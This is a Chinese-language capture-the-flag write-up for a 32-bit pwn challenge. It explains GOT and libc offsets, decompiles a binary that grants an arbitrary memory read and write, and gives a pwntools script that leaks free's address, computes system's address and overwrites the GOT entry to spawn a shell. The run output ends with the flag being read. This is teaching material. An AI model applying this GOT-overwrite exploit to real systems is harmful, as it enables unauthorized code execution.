

# PWN (5)

本题需要借助 Linux 下的 ANSI C 函数库向程序注入 `system("/bin/sh")`，以此拿到 shell

## 预备知识

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### GOT表

GOT表在之前一篇笔记中已有介绍，这里再补充几点：

```
jackie@ubuntu:~/Downloads/pwn3$ readelf -r got

Relocation section '.rel.dyn' at offset 0x330 contains 2 entries:
  Offset      Info    Type           Sym.Value   Sym. Name
08049ffc      00000406 R_386_GLOB_DAT 00000000    __gmon_start__
0804a040      00000905 R_386_COPY     0804a040    stdin@GLIBC_2.0

Relocation section '.rel.plt' at offset 0x340 contains 6 entries:
  Offset      Info    Type           Sym.Value   Sym. Name
0804a00c      00000107 R_386_JUMP_SLOT 00000000    printf@GLIBC_2.0
0804a010      00000207 R_386_JUMP_SLOT 00000000    fgets@GLIBC_2.0
0804a014      00000307 R_386_JUMP_SLOT 00000000    puts@GLIBC_2.0
0804a018      00000507 R_386_JUMP_SLOT 00000000    exit@GLIBC_2.0
0804a01c      00000607 R_386_JUMP_SLOT 00000000    __libc_start_main@GLIBC_2.0
0804a020      00000707 R_386_JUMP_SLOT 00000000    __isoc99_scanf@GLIBC_2.7
```

以上图为例，`exit`对应的Offset为0x0804a18，意思是，符号`exit`在GOT表中的地址为0x804a018，即内存地址0x804a018处存放着`exit`函数的入口地址

### libc

libc 是 Linux 下的 ANSI C 函数库，其中存放着库函数的入口地址偏移量(相对哪里的偏移无需关心)

## IDA反编译二进制文件并分析

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```

int __cdecl main(int argc, const char **argv, const char **envp)
{
    int result; // eax@2
    int *v4; // [sp+0h] [bp-18h]@3
    int v5; // [sp+4h] [bp-14h]@3
    char *s2; // [sp+8h] [bp-10h]@1
    char *s; // [sp+Ch] [bp-Ch]@1

    puts("What's your name?");
    s = (char *)malloc(0x40u);
    s2 = (char *)malloc(0x40u);
    fgets(s, 64, stdin);
    puts("Please input again");
    fgets(s2, 64, stdin);
    if ( !strcmp(s, s2) )
    {
        free(s2);
        printf("Hello %sThis time, I'll show you more technique in stack overflow.\n", s);
        puts("But I'm not willing to tell you hint directly,so discover by yourself.");
        puts("I promised that you can solve it by what you learned so far.");
        printf("Which address you wanna read:");
        __isoc99_scanf("%d", &v4);
        v5 = *v4;
        printf("%#x\n", v5);
        printf("What value you wanna write in the address:");
        __isoc99_scanf("%d", v4);
        free(s);
        result = 0;
    }
}

```

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主体框架就是main函数.

程序获取用户的两次输入，如果两次输入的字符串相等则给出内存读写的机会. 可以看到，获取输入后先free(s2)，之后用户输入一个地址，并向其中写入用户指定的内容，最后free(s).

是想，如果输入"/bin/sh"，借助程序提供的内存读写机会，把free的入口换成system的入口，那末最后的free(s)就变成了system(s)，而s="bin/sh"，这样就能拿到shell.

如果free的入口地址为free\_real\_addr，free和system的入口地址之差的绝对值为x，那末就可以算出system的入口地址为system\_real\_addr = free\_real\_addr +(-) x.

综上，可以写出脚本:

```

from pwn import *
bin_sh = '/bin/sh'
[]
p = remote('ctf.cnss.studio', 5005)
got2_elf = ELF('./got2')
libc_elf = ELF('./libc.so.6_pwn5')

p.sendline(bin_sh) # read by fgets
p.sendline(bin_sh) # read by fgets again

free_got_addr = got2_elf.got['free']

p.sendline(str(free_got_addr)) # read by scanf
p.recvuntil('Which address you wanna read:')
free_real_addr = eval(p.readline()) # program will print the content in the memory
print 'free_real_addr = ' + hex(free_real_addr)

system_offset = libc_elf.symbols['system']
free_offset = libc_elf.symbols['free']
system_real_addr = free_real_addr - (free_offset - system_offset)
# system_real_addr = free_real_addr + (system_offset - free_offset)
print 'system_real_addr = ' + hex(system_real_addr)

p.sendline(str(system_real_addr - 0x100000000)) # read by scanf
p.interactive()

```

攻击结果:

```

jackie@ubuntu:~/Downloads/pwn5$ python test5.py
[+] Opening connection to ctf.cnss.studio on port 5005: Done
[*] '/home/jackie/Downloads/pwn5/got2'
  Arch:      i386-32-little
  RELRO:     Partial RELRO
  Stack:     No canary found
  NX:        NX enabled
  PIE:       No PIE (0x8048000)
[*] '/home/jackie/Downloads/pwn5/libc.so.6_pwn5'
  Arch:      i386-32-little
  RELRO:     Partial RELRO
  Stack:     Canary found
  NX:        NX enabled
  PIE:       PIE enabled
free_real_addr = 0xf75992f0
system_real_addr = 0xf7562da0
[*] Switching to interactive mode
What value you wanna write in the address:/bin/sh: 0: can't access tty; j
$ $ ls
flag
$ $ cat flag
cnss{now_1_b3lieve_you_knowed_got}

```

## More

- 如果地址是负数，`sendline`中一定要取补码